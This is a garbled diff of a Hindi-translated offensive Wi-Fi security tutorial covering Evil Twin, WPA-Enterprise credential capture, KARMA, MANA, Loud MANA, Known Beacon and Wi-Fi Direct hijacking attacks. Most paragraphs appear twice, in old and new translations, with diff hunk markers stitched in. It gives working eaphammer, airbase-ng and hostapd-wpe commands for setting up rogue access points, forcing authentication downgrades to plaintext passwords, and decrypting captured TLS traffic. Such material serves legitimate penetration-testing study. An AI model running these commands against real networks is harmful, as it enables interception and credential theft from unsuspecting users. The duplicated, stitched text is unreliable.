Evil Twin हमला एक प्रकार का Wi-Fi हमला है जो इस तथ्य का फायदा उठाकर काम करता है कि अधिकांश कंप्यूटर और फोन केवल वायरलेस नेटवर्क का "नाम" या ESSID देखेंगे (क्योंकि बेस स्टेशन को क्लाइंट के खिलाफ प्रमाणित करने की आवश्यकता नहीं होती है)। इससे वास्तव में उन नेटवर्कों के बीच अंतर करना बहुत कठिन हो जाता है जिनका नाम और एन्क्रिप्शन का प्रकार समान होता है। वास्तव में, कई नेटवर्कों में कई नेटवर्क-विस्तारक एक्सेस पॉइंट होते हैं जो उपयोगकर्ताओं को भ्रमित किए बिना पहुंच को विस्तारित करने के लिए एक ही नाम का उपयोग करते हैं।
|
||||
|
||||
जिस प्रकार से क्लाइंट्स का कार्यान्वयन होता है (याद रखें कि 802.11 प्रोटोकॉल स्टेशनों को एक ही ESS के भीतर एक्सेस पॉइंट्स के बीच स्वतंत्र रूप से घूमने की अनुमति देता है), यह संभव है कि एक डिवाइस को उस बेस स्टेशन को बदलने के लिए बनाया जा सके जिससे वह जुड़ा हुआ है। यह बेहतर सिग्नल प्रदान करके (जो हमेशा संभव नहीं होता) या मूल बेस स्टेशन तक पहुंच को अवरुद्ध करके किया जा सकता है (डीऑथेंटिकेशन पैकेट्स, जैमिंग, या किसी अन्य प्रकार का DoS हमला)।
|
||||
क्लाइंट्स के कार्यान्वयन के कारण (याद रखें कि 802.11 प्रोटोकॉल स्टेशनों को एक ही ESS के भीतर एक्सेस पॉइंट्स के बीच स्वतंत्र रूप से घूमने की अनुमति देता है), यह संभव है कि एक डिवाइस को बेस स्टेशन बदलने के लिए बनाया जा सके। यह बेहतर सिग्नल प्रदान करके (जो हमेशा संभव नहीं होता) या मूल बेस स्टेशन तक पहुंच को अवरुद्ध करके (deauthentication पैकेट्स, jamming, या किसी अन्य प्रकार का DoS हमला) किया जा सकता है।
|
||||
|
||||
यह भी ध्यान दें कि वास्तविक दुनिया के वायरलेस डिप्लॉयमेंट्स में आमतौर पर एक से अधिक एक्सेस पॉइंट होते हैं, और ये एक्सेस पॉइंट्स अक्सर अधिक शक्तिशाली होते हैं और उनकी लाइन-ऑफ-साइट रेंज उनके छत की ओर प्लेसमेंट के कारण बेहतर होती है। एक एकल एक्सेस पॉइंट को डीऑथेंटिकेट करना आमतौर पर लक्ष्य को आपके रोग एपी की ओर नहीं बल्कि एक अन्य वैध एक्सेस पॉइंट की ओर घूमने का कारण बनता है, जब तक कि सभी नजदीकी एक्सेस पॉइंट्स को डीऑथेंटिकेट नहीं किया जाता (जोर से) या आप रोग एपी के प्लेसमेंट के साथ बहुत सावधान नहीं होते (मुश्किल)।
|
||||
ध्यान दें कि वास्तविक दुनिया के वायरलेस तैनाती में आमतौर पर एक से अधिक एक्सेस पॉइंट होते हैं, और ये एक्सेस पॉइंट अक्सर अधिक शक्तिशाली होते हैं और उनकी लाइन-ऑफ-साइट रेंज उनके छत की ओर प्लेसमेंट के कारण बेहतर होती है। एक एकल एक्सेस पॉइंट को deauthenticate करना आमतौर पर लक्ष्य को आपके rogue AP की ओर नहीं बल्कि एक अन्य वैध एक्सेस पॉइंट की ओर घूमने का परिणाम होता है, जब तक कि सभी नजदीकी एक्सेस पॉइंट्स को deauthenticate नहीं किया जाता (loud) या आप rogue AP की प्लेसमेंट के साथ बहुत सावधान नहीं होते (difficult)।
|
||||
|
||||
आप इंटरनेट के लिए ट्रैफिक को रूट करने की क्षमता के बिना एक बहुत ही बुनियादी ओपन ईविल ट्विन बना सकते हैं:
|
||||
आप एक बहुत ही बुनियादी Open Evil Twin (इंटरनेट के लिए ट्रैफिक को रूट करने की क्षमता के बिना) बना सकते हैं करके:
|
||||
```bash
|
||||
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
||||
```
|
||||
आप **eaphammer** का उपयोग करके एक Evil Twin भी बना सकते हैं (ध्यान दें कि eaphammer के साथ Evil Twin बनाने के लिए इंटरफ़ेस **नहीं होना चाहिए** **monitor** मोड में):
|
||||
आप **eaphammer** का उपयोग करके एक Evil Twin भी बना सकते हैं (ध्यान दें कि eaphammer के साथ evil twins बनाने के लिए इंटरफ़ेस **नहीं होना चाहिए** **monitor** मोड में):
|
||||
```
|
||||
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
|
||||
```
|
||||
या Airgeddon का उपयोग करके: `विकल्प: 5,6,7,8,9 (इविल ट्विन हमला मेनू के अंदर)।`
|
||||
या Airgeddon का उपयोग करके: `Options: 5,6,7,8,9 (Evil Twin attack menu के अंदर)।`
|
||||
|
||||
![](<../../.gitbook/assets/image (148).png>)
|
||||
|
||||
कृपया ध्यान दें कि डिफ़ॉल्ट रूप से यदि PNL में एक ESSID को WPA सुरक्षित के रूप में सहेजा गया है, तो डिवाइस स्वचालित रूप से एक ओपन इविल ट्विन से जुड़ने का प्रयास नहीं करेगा। आप वास्तविक AP को DoS करने का प्रयास कर सकते हैं और आशा कर सकते हैं कि उपयोगकर्ता मैन्युअल रूप से आपके ओपन इविल ट्विन से जुड़ेगा, या आप वास्तविक AP को DoS कर सकते हैं और WPA इविल ट्विन का उपयोग करके हैंडशेक कैप्चर कर सकते हैं (इस विधि का उपयोग करके आप पीड़ित को आपसे जुड़ने देने में सक्षम नहीं होंगे क्योंकि आप PSK नहीं जानते हैं, लेकिन आप हैंडशेक कैप्चर कर सकते हैं और इसे क्रैक करने का प्रयास कर सकते हैं)।
|
||||
कृपया ध्यान दें कि डिफ़ॉल्ट रूप से यदि PNL में एक ESSID को WPA सुरक्षित के रूप में सहेजा गया है, तो डिवाइस स्वचालित रूप से एक Open Evil Twin से जुड़ने का प्रयास नहीं करेगा। आप वास्तविक AP को DoS करने का प्रयास कर सकते हैं और आशा कर सकते हैं कि उपयोगकर्ता मैन्युअल रूप से आपके Open Evil Twin से जुड़ेगा, या आप वास्तविक AP को DoS कर सकते हैं और WPA Evil Twin का उपयोग करके handshake कैप्चर कर सकते हैं (इस विधि का उपयोग करके आप पीड़ित को आपसे जुड़ने नहीं दे पाएंगे क्योंकि आप PSK नहीं जानते हैं, लेकिन आप handshake कैप्चर कर सकते हैं और इसे क्रैक करने का प्रयास कर सकते हैं)।
|
||||
|
||||
_कुछ OS और AV उपयोगकर्ता को चेतावनी देंगे कि एक ओपन नेटवर्क से जुड़ना खतरनाक है..._
|
||||
_कुछ OS और AV उपयोगकर्ता को चेतावनी देंगे कि Open network से जुड़ना खतरनाक है..._
|
||||
|
||||
### WPA/WPA2 इविल ट्विन
|
||||
### WPA/WPA2 Evil Twin
|
||||
|
||||
आप **WPA/2 का उपयोग करके एक इविल ट्विन बना सकते हैं** और यदि डिवाइसेज ने उस SSID से WPA/2 के साथ जुड़ने के लिए कॉन्फ़िगर किया है, तो वे जुड़ने का प्रयास करेंगे। वैसे भी, **4-वे-हैंडशेक को पूरा करने के लिए** आपको यह भी **जानना** चाहिए कि ग्राहक कौन सा **पासवर्ड** उपयोग करने वाला है। यदि आप **नहीं जानते** हैं, तो **कनेक्शन पूरा नहीं होगा**।
|
||||
आप **WPA/2 का उपयोग करके एक Evil Twin बना सकते हैं** और यदि डिवाइसेज ने उस SSID से WPA/2 के साथ जुड़ने के लिए कॉन्फ़िगर किया है, तो वे जुड़ने का प्रयास करेंगे। वैसे भी, **4-way-handshake को पूरा करने के लिए** आपको यह भी **जानना** चाहिए कि ग्राहक कौन सा **पासवर्ड** उपयोग करने वाला है। यदि आप इसे **नहीं जानते** हैं, तो **कनेक्शन पूरा नहीं होगा**।
|
||||
```
|
||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||
```
|
||||
|
@ -555,15 +557,15 @@ _कुछ OS और AV उपयोगकर्ता को चेतावन
|
|||
|
||||
इस हमले को समझने के लिए, मैं आपको [WPA एंटरप्राइज स्पष्टीकरण](./#wpa-enterprise-mgt) को पढ़ने की सलाह दूंगा।
|
||||
|
||||
**hostapd-wpe का उपयोग करना**
|
||||
**hostapd-wpe का उपयोग करते हुए**
|
||||
|
||||
`hostapd-wpe` को काम करने के लिए एक **कॉन्फ़िगरेशन** फाइल की जरूरत होती है। इन कॉन्फ़िगरेशनों को **ऑटोमेट** करने के लिए आप [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) का उपयोग कर सकते हैं (पायथन फाइल को _/etc/hostapd-wpe/_ में डाउनलोड करें)
|
||||
`hostapd-wpe` को काम करने के लिए एक **कॉन्फ़िगरेशन** फ़ाइल की आवश्यकता होती है। इन कॉन्फ़िगरेशनों को **स्वचालित** करने के लिए आप [https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad) का उपयोग कर सकते हैं (पायथन फ़ाइल को _/etc/hostapd-wpe/_ के अंदर डाउनलोड करें)
|
||||
```
|
||||
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
||||
hostapd-wpe ./victim/victim.conf -s
|
||||
```
|
||||
```markdown
|
||||
विन्यास फ़ाइल में आप विभिन्न चीजें चुन सकते हैं जैसे ssid, channel, user files, cret/key, dh parameters, wpa version और auth...
|
||||
विन्यास फ़ाइल में आप विभिन्न चीजें चुन सकते हैं जैसे कि ssid, channel, user files, cret/key, dh parameters, wpa version और auth...
|
||||
|
||||
[**EAP-TLS के साथ hostapd-wpe का उपयोग करके किसी भी प्रमाणपत्र को लॉगिन की अनुमति देना।**](evil-twin-eap-tls.md)
|
||||
|
||||
|
@ -576,24 +578,24 @@ hostapd-wpe ./victim/victim.conf -s
|
|||
# Launch Attack
|
||||
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
|
||||
```
|
||||
डिफ़ॉल्ट रूप से, EAPHammer इन प्रमाणीकरण विधियों का उपयोग करता है (ध्यान दें कि GTC को पहले प्लेनटेक्स्ट पासवर्ड प्राप्त करने के लिए और फिर अधिक मजबूत प्रमाणीकरण विधियों का उपयोग करता है):
|
||||
डिफ़ॉल्ट रूप से, EAPHammer इन प्रमाणीकरण विधियों का उपयोग करता है (ध्यान दें कि GTC को पहले प्लेनटेक्स्ट पासवर्ड प्राप्त करने के लिए और फिर अधिक मजबूत प्रमाणीकरण विधियों के उपयोग के लिए):
|
||||
```
|
||||
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
||||
```
|
||||
यह लंबे समय तक कनेक्शन बनाए रखने से बचने के लिए डिफ़ॉल्ट पद्धति है। हालांकि, आप सर्वर को प्रमाणीकरण विधियों को सबसे कमजोर से सबसे मजबूत तक निर्दिष्ट करने के लिए भी कह सकते हैं:
|
||||
यह लंबे कनेक्शन समय से बचने के लिए डिफ़ॉल्ट पद्धति है। हालांकि, आप सर्वर को प्रमाणीकरण विधियों को सबसे कमजोर से सबसे मजबूत तक निर्दिष्ट करने के लिए भी कह सकते हैं:
|
||||
```
|
||||
--negotiate weakest
|
||||
```
|
||||
या आप इसका उपयोग कर सकते हैं:
|
||||
या आप इसका उपयोग भी कर सकते हैं:
|
||||
|
||||
* `--negotiate gtc-downgrade` का उपयोग करें जो कि GTC downgrade कार्यान्वयन को अत्यधिक कुशल बनाता है (plaintext passwords)
|
||||
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` का उपयोग करके आप मैन्युअल रूप से विधियों को निर्दिष्ट कर सकते हैं (संगठन द्वारा प्रस्तावित समान प्रमाणीकरण विधियों को समान क्रम में पेश करने से हमले का पता लगाना कहीं अधिक कठिन हो जाएगा)।
|
||||
* `--negotiate gtc-downgrade` का उपयोग करें जो कि अत्यधिक कुशल GTC डाउनग्रेड कार्यान्वयन के लिए है (plaintext passwords)
|
||||
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` का उपयोग करके मैन्युअल रूप से विधियों को निर्दिष्ट करें (संगठन के समान प्रमाणीकरण विधियों को समान क्रम में पेश करने से हमले का पता लगाना बहुत कठिन होगा).
|
||||
* [विकी में अधिक जानकारी पाएं](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
|
||||
|
||||
**Airgeddon का उपयोग करना**
|
||||
|
||||
`Airgeddon` पहले से जनरेट किए गए प्रमाणपत्रों का उपयोग करके WPA/WPA2-Enterprise नेटवर्क्स के लिए EAP प्रमाणीकरण प्रदान कर सकता है। नकली नेटवर्क कनेक्शन प्रोटोकॉल को EAP-MD5 में डाउनग्रेड कर देगा ताकि यह **उपयोगकर्ता और पासवर्ड के MD5 को कैप्चर कर सके**। बाद में, हमलावर पासवर्ड को क्रैक करने की कोशिश कर सकता है।\
|
||||
`Airggedon` आपको **निरंतर Evil Twin हमले (शोरयुक्त)** या **केवल तब तक Evil Attack बनाने की संभावना प्रदान करता है जब तक कोई जुड़ता नहीं है (सुचारू)।**
|
||||
`Airgeddon` पहले से जनरेट किए गए प्रमाणपत्रों का उपयोग करके WPA/WPA2-Enterprise नेटवर्क्स के लिए EAP प्रमाणीकरण प्रदान कर सकता है। नकली नेटवर्क EAP-MD5 में कनेक्शन प्रोटोकॉल को डाउनग्रेड कर देगा ताकि यह **उपयोगकर्ता और पासवर्ड के MD5 को कैप्चर कर सके**। बाद में, हमलावर पासवर्ड को क्रैक करने की कोशिश कर सकता है।\
|
||||
`Airggedon` आपको **निरंतर Evil Twin हमले (शोरपूर्ण)** या **केवल Evil Attack बनाने की संभावना प्रदान करता है जब तक कोई जुड़ता नहीं है (सुचारू).**
|
||||
|
||||
![](<../../.gitbook/assets/image (129).png>)
|
||||
|
||||
|
@ -601,14 +603,14 @@ GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
|
|||
|
||||
_यह विधि PEAP कनेक्शन में परीक्षण की गई थी लेकिन चूंकि मैं एक मनमानी TLS सुरंग को डिक्रिप्ट कर रहा हूँ, इसलिए यह EAP-TTLS के साथ भी काम करना चाहिए_
|
||||
|
||||
_hostapd-wpe_ के **कॉन्फ़िगरेशन** के अंदर _**dh\_file**_ वाली लाइन को **कमेंट** करें (उदाहरण के लिए `dh_file=/etc/hostapd-wpe/certs/dh` से `#dh_file=/etc/hostapd-wpe/certs/dh` तक)\
|
||||
इससे `hostapd-wpe` DH के बजाय RSA का उपयोग करके कीज़ का आदान-प्रदान करेगा, जिससे आप बाद में सर्वर की प्राइवेट की जानकारी होने पर ट्रैफिक को **डिक्रिप्ट** कर पाएंगे।
|
||||
_hostapd-wpe_ के **कॉन्फ़िगरेशन** के अंदर _**dh\_file**_ वाली लाइन को **कमेंट** करें (जैसे `dh_file=/etc/hostapd-wpe/certs/dh` से `#dh_file=/etc/hostapd-wpe/certs/dh` तक)\
|
||||
इससे `hostapd-wpe` DH के बजाय RSA का उपयोग करके कीज़ का आदान-प्रदान करेगा, ताकि आप बाद में सर्वर की प्राइवेट की जानकर ट्रैफिक को **डिक्रिप्ट** कर सकें।
|
||||
|
||||
अब सामान्य रूप से उस संशोधित कॉन्फ़िगरेशन का उपयोग करते हुए **`hostapd-wpe`** के साथ **Evil Twin** शुरू करें। साथ ही, Evil Twin हमले को कर रहे **इंटरफ़ेस** पर **`wireshark`** भी शुरू करें।
|
||||
अब सामान्य रूप से उस संशोधित कॉन्फ़िगरेशन का उपयोग करके **`hostapd-wpe`** के साथ **Evil Twin** शुरू करें। साथ ही, Evil Twin हमले को कर रहे **इंटरफ़ेस** पर **`wireshark`** भी शुरू करें।
|
||||
|
||||
अब या बाद में (जब आप पहले ही कुछ प्रमाणीकरण प्रयासों को कैप्चर कर चुके हों) आप wireshark में प्राइवेट RSA की जोड़ सकते हैं: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
अब या बाद में (जब आप पहले ही कुछ प्रमाणीकरण प्रयासों को कैप्चर कर चुके हों) आप wireshark में प्राइवेट RSA की को जोड़ सकते हैं: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
|
||||
|
||||
नई प्रविष्टि जोड़ें और इस मानों के साथ फॉर्म भरें: **IP address = any** -- **Port = 0** -- **Protocol = data** -- **Key File** (**अपनी की फ़ाइल का चयन करें**, समस्याओं से बचने के लिए एक की फ़ाइल का चयन करें **जो पासवर्ड से सुरक्षित न हो**).
|
||||
नई प्रविष्टि जोड़ें और इस मानों के साथ फॉर्म भरें: **IP address = any** -- **Port = 0** -- **Protocol = data** -- **Key File** (**अपनी की फाइल का चयन करें**, समस्याओं से बचने के लिए पासवर्ड से सुरक्षित नहीं होने वाली की फाइल का चयन करें).
|
||||
|
||||
![](<../../.gitbook/assets/image (151).png>)
|
||||
|
||||
|
@ -618,9 +620,9 @@ _hostapd-wpe_ के **कॉन्फ़िगरेशन** के अंद
|
|||
|
||||
## KARMA, MANA, Loud MANA और Known beacons हमला
|
||||
|
||||
### ESSID और MAC ब्लैक/व्हाइटलिस्ट
|
||||
### ESSID और MAC काली/सफेद सूचियाँ
|
||||
|
||||
निम्नलिखित तालिका में उपलब्ध विभिन्न प्रकार के MFACLs (Management Frame Access Control Lists) को सूचीबद्ध किया गया है, साथ ही उनके प्रभाव भी जब उपयोग में लाया जाता है:
|
||||
निम्नलिखित तालिका में विभिन्न प्रकार के MFACLs (Management Frame Access Control Lists) को सूचीबद्ध किया गया है, साथ ही उनके प्रभाव भी जब उपयोग में लाया जाता है:
|
||||
|
||||
![](<../../.gitbook/assets/image (149).png>)
|
||||
```
|
||||
|
@ -646,13 +648,13 @@ pears
|
|||
```
|
||||
### KARMA
|
||||
|
||||
KARMA हमले एक दूसरे प्रकार के रोग एक्सेस पॉइंट हमले हैं जो स्टेशनों द्वारा प्रयुक्त नेटवर्क चयन प्रक्रिया का शोषण करते हैं। 2005 में लिखे गए एक व्हाइटपेपर में, डिनो डाई ज़ोवी और शेन मैकॉले ने वर्णन किया है कि कैसे एक हमलावर एक एक्सेस पॉइंट को निर्देशित प्रोब अनुरोधों के लिए सुनने और उन सभी के लिए मिलान निर्देशित प्रोब प्रतिक्रियाओं के साथ जवाब देने के लिए कॉन्फ़िगर कर सकता है। इससे प्रभावित स्टेशन स्वचालित रूप से हमलावर के एक्सेस पॉइंट को एक एसोसिएशन अनुरोध भेजते हैं। एक्सेस पॉइंट फिर एक एसोसिएशन प्रतिक्रिया के साथ जवाब देता है, जिससे प्रभावित स्टेशन हमलावर से जुड़ जाते हैं।
|
||||
KARMA हमले एक दूसरे प्रकार के रोग एक्सेस पॉइंट हमले हैं जो स्टेशनों द्वारा उपयोग की जाने वाली नेटवर्क चयन प्रक्रिया का शोषण करते हैं। 2005 में लिखे गए एक व्हाइटपेपर में, Dino Dai Zovi और Shane Macaulay ने वर्णन किया है कि कैसे एक हमलावर एक एक्सेस पॉइंट को निर्देशित प्रोब अनुरोधों के लिए सुनने और उन सभी के लिए मिलान निर्देशित प्रोब प्रतिक्रियाओं के साथ जवाब देने के लिए कॉन्फ़िगर कर सकता है। इससे प्रभावित स्टेशन स्वचालित रूप से हमलावर के एक्सेस पॉइंट को एक एसोसिएशन अनुरोध भेजते हैं। एक्सेस पॉइंट फिर एक एसोसिएशन प्रतिक्रिया के साथ जवाब देता है, जिससे प्रभावित स्टेशन हमलावर से जुड़ जाते हैं।
|
||||
|
||||
### MANA
|
||||
|
||||
इयान डी विलियर्स और डोमिनिक व्हाइट के अनुसार, आधुनिक स्टेशन KARMA हमलों के खिलाफ स्वयं की रक्षा करने के लिए डिज़ाइन किए गए हैं, जो उन एक्सेस पॉइंट्स से निर्देशित प्रोब प्रतिक्रियाओं को अनदेखा करते हैं जिन्होंने कम से कम एक प्रसारण प्रोब अनुरोध का पहले से जवाब नहीं दिया है। इससे 2015 तक KARMA हमलों के प्रति संवेदनशील स्टेशनों की संख्या में काफी कमी आई, जब व्हाइट और डी विलियर्स ने इस तरह की सुरक्षा को दरकिनार करने का एक तरीका विकसित किया। व्हाइट और डी विलियर्स के सुधारित KARMA हमले (MANA हमले) में, निर्देशित प्रोब प्रतिक्रियाओं का उपयोग पास के स्टेशनों के PNL को पुनर्निर्माण करने के लिए किया जाता है। जब किसी स्टेशन से प्रसारण प्रोब अनुरोध प्राप्त होता है, तो हमलावर का एक्सेस पॉइंट उस स्टेशन के PNL से पहले से देखे गए एक यादृच्छिक SSID के साथ जवाब देता है।
|
||||
Ian de Villiers और Dominic White के अनुसार, आधुनिक स्टेशन KARMA हमलों के खिलाफ स्वयं की रक्षा करने के लिए डिज़ाइन किए गए हैं, जो उन एक्सेस पॉइंट्स से निर्देशित प्रोब प्रतिक्रियाओं को अनदेखा करते हैं जिन्होंने कम से कम एक ब्रॉडकास्ट प्रोब अनुरोध का पहले से जवाब नहीं दिया है। इससे 2015 तक KARMA हमलों के प्रति संवेदनशील स्टेशनों की संख्या में काफी कमी आई, जब White और de Villiers ने इस तरह की सुरक्षाओं को दरकिनार करने का एक तरीका विकसित किया। White और de Villiers के सुधारित KARMA हमले (MANA हमले) में, निर्देशित प्रोब प्रतिक्रियाओं का उपयोग पास के स्टेशनों के PNLs को पुनर्निर्माण करने के लिए किया जाता है। जब किसी स्टेशन से एक ब्रॉडकास्ट प्रोब अनुरोध प्राप्त होता है, तो हमलावर का एक्सेस पॉइंट उस स्टेशन के PNL में पहले से देखे गए एक मनमाने SSID के साथ जवाब देता है।
|
||||
|
||||
संक्षेप में, MANA एल्गोरिथम इस प्रकार काम करता है: हर बार जब एक्सेस पॉइंट को प्रोब अनुरोध प्राप्त होता है, तो यह पहले निर्धारित करता है कि यह प्रसारण प्रोब है या निर्देशित प्रोब। यदि यह निर्देशित प्रोब है, तो प्रेषक का MAC पता हैश तालिका में जोड़ा जाता है (यदि यह पहले से वहां नहीं है) और ESSID उस डिवाइस के PNL में जोड़ा जाता है। फिर AP एक निर्देशित प्रोब प्रतिक्रिया के साथ जवाब देता है। यदि यह प्रसारण प्रोब है, तो एक्सेस पॉइंट उस डिवाइस के PNL में प्रत्येक नेटवर्क के लिए प्रोब प्रतिक्रियाओं के साथ जवाब देता है।
|
||||
संक्षेप में, MANA एल्गोरिथम इस प्रकार काम करता है: हर बार जब एक्सेस पॉइंट को प्रोब अनुरोध प्राप्त होता है, तो यह पहले निर्धारित करता है कि यह एक ब्रॉडकास्ट प्रोब है या निर्देशित प्रोब। यदि यह निर्देशित प्रोब है, तो प्रेषक का MAC पता हैश टेबल में जोड़ा जाता है (यदि यह पहले से वहां नहीं है) और ESSID उस डिवाइस के PNL में जोड़ा जाता है। फिर AP एक निर्देशित प्रोब प्रतिक्रिया के साथ जवाब देता है। यदि यह एक ब्रॉडकास्ट प्रोब है, तो एक्सेस पॉइंट उस डिवाइस के PNL में प्रत्येक नेटवर्क के लिए प्रोब प्रतिक्रियाओं के साथ जवाब देता है।
|
||||
|
||||
MANA हमला eaphammer का उपयोग करते हुए:
|
||||
```
|
||||
|
@ -660,19 +662,19 @@ MANA हमला eaphammer का उपयोग करते हुए:
|
|||
```
|
||||
### लाउड MANA
|
||||
|
||||
ध्यान दें कि मानक MANA हमला अभी भी उन उपकरणों पर हमला करने की अनुमति नहीं देता है जो बिल्कुल भी निर्देशित प्रोबिंग का उपयोग नहीं करते हैं। इसलिए अगर हमें पहले से उपकरण के PNL में कोई प्रविष्टि नहीं पता है, तो हमें इसे हमला करने के लिए कुछ अन्य तरीका खोजना होगा।
|
||||
ध्यान दें कि मानक MANA हमला अभी भी उन उपकरणों पर हमला करने की अनुमति नहीं देता है जो बिल्कुल भी निर्देशित प्रोबिंग का उपयोग नहीं करते हैं। इसलिए अगर हमें पहले से किसी उपकरण के PNL में कोई प्रविष्टि नहीं पता है, तो हमें इसे हमला करने के लिए कुछ अन्य तरीका खोजना होगा।
|
||||
|
||||
एक संभावना वह है जिसे लाउड MANA हमला कहा जाता है। यह हमला इस विचार पर निर्भर करता है कि एक दूसरे के निकट भौतिक सीमा में मौजूद क्लाइंट उपकरणों में संभवतः उनके PNLs में कम से कम कुछ सामान्य प्रविष्टियां होंगी।
|
||||
एक संभावना जिसे लाउड MANA हमला कहा जाता है। यह हमला इस विचार पर निर्भर करता है कि एक दूसरे के निकट भौतिक सीमा में मौजूद क्लाइंट उपकरणों में संभवतः कम से कम कुछ सामान्य प्रविष्टियाँ उनके PNLs में होंगी।
|
||||
|
||||
संक्षेप में, लाउड MANA हमला के बजाय कि प्रत्येक ESSID के लिए प्रोब अनुरोधों का जवाब देने के लिए, जो किसी विशेष उपकरण के PNL में है, रोग एपी हर ESSID के लिए प्रोब प्रतिक्रियाएं भेजता है जो हर PNL में हर उपकरण के लिए है जिसे उसने पहले देखा है। सेट सिद्धांत से संबंधित करते हुए, हम कह सकते हैं कि एपी हर ESSID के लिए प्रोब प्रतिक्रियाएं भेजता है जो निकटवर्ती उपकरणों के सभी PNLs के संघ में है।
|
||||
संक्षेप में, लाउड MANA हमला के बजाय कि प्रत्येक ESSID के लिए प्रोब अनुरोधों का जवाब देना एक विशेष उपकरण के PNL में, रोग एपी हर ESSID के लिए प्रोब प्रतिक्रियाएँ भेजता है हर PNL में उसने पहले जो भी उपकरण देखे हैं। सेट सिद्धांत से संबंधित करते हुए, हम कह सकते हैं कि एपी हर ESSID के लिए प्रोब प्रतिक्रियाएँ भेजता है निकटवर्ती उपकरणों के सभी PNLs के संघ में।
|
||||
```
|
||||
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
### Known Beacon हमला
|
||||
|
||||
ऐसे मामले अभी भी हैं जिनमें Loud MANA हमला सफल नहीं होता है।\
|
||||
Known Beacon हमला ESSIDs को "Brute-Force" करने का एक तरीका है ताकि पीड़ित को हमलावर से जुड़ने के लिए मजबूर किया जा सके। हमलावर एक AP बनाता है जो किसी भी ESSID का जवाब देता है और कुछ कोड चलाता है जो एक शब्दसूची के अंदर हर नाम के ESSIDs के बीकन्स को नकली बनाकर भेजता है। आशा है कि पीड़ित के PNL में इन ESSID नामों में से कुछ होंगे और वह नकली AP से जुड़ने की कोशिश करेगा।\
|
||||
Eaphammer ने इस हमले को MANA हमले के रूप में लागू किया जहां एक सूची के अंदर सभी ESSIDs चार्ज किए जाते हैं (आप इसे `--loud` के साथ भी संयोजित कर सकते हैं ताकि Loud MANA + Known beacons हमला बनाया जा सके):
|
||||
Known Beacon हमला एक तरीका है "Brute-Force" ESSIDs का, जिससे पीड़ित को हमलावर से जुड़ने के लिए मजबूर किया जा सकता है। हमलावर एक AP बनाता है जो किसी भी ESSID का जवाब देता है और कुछ कोड चलाता है जो एक शब्दसूची के अंदर हर नाम के ESSIDs के बीकन्स को नकली बनाकर भेजता है। आशा की जाती है कि पीड़ित के PNL में इन ESSID नामों में से कुछ होंगे और वह नकली AP से जुड़ने की कोशिश करेगा।\
|
||||
Eaphammer ने इस हमले को MANA हमले के रूप में लागू किया है जहां एक सूची के अंदर सभी ESSIDs चार्ज किए जाते हैं (आप इसे `--loud` के साथ भी संयोजित कर सकते हैं ताकि Loud MANA + Known beacons हमला बनाया जा सके):
|
||||
```
|
||||
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
|
||||
```
|
||||
|
@ -689,7 +691,7 @@ Eaphammer ने इस हमले को MANA हमले के रूप
|
|||
```
|
||||
## Wi-Fi Direct
|
||||
|
||||
Wi-Fi Direct एक Wi-Fi मानक है जो उपकरणों को बिना वायरलेस AP के एक दूसरे से जोड़ने की अनुमति देता है क्योंकि दो उपकरणों में से एक AP का काम करेगा (जिसे समूह मालिक कहा जाता है)। आप Wi-Fi Direct को प्रिंटर्स, टीवी जैसे कई IoT उपकरणों में पा सकते हैं...
|
||||
Wi-Fi Direct एक Wi-Fi मानक है जो उपकरणों को बिना वायरलेस AP के एक दूसरे से जोड़ने की अनुमति देता है, जहां दो उपकरणों में से एक AP का काम करेगा (जिसे group owner कहा जाता है)। आप Wi-Fi Direct को IoT उपकरणों जैसे प्रिंटर्स, टीवीज़... में पा सकते हैं।
|
||||
|
||||
Wi-Fi Direct उपकरणों को सुरक्षित रूप से जोड़ने के लिए Wi-Fi Protected Setup (**WPS**) पर निर्भर करता है। WPS में कई कॉन्फ़िगरेशन विधियां होती हैं जैसे कि **Push-Button** Configuration (PBC), **PIN entry**, और **Near-Field** Communication (NFC)
|
||||
|
||||
|
@ -697,7 +699,7 @@ Wi-Fi Direct उपकरणों को सुरक्षित रूप स
|
|||
|
||||
### EvilDirect Hijacking
|
||||
|
||||
यह Evil-Twin की तरह काम करता है लेकिन Wi-Fi direct के लिए, आप समूह मालिक की नकल करके अन्य उपकरणों जैसे कि फोन्स को आपसे जुड़ने का प्रयास कर सकते हैं: `airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0`
|
||||
यह Evil-Twin की तरह काम करता है लेकिन Wi-Fi direct के लिए, आप group owner की नकल करके अन्य उपकरणों जैसे फोन्स को आपसे जुड़ने का प्रयास कर सकते हैं: `airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0`
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
@ -710,20 +712,20 @@ Wi-Fi Direct उपकरणों को सुरक्षित रूप स
|
|||
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
|
||||
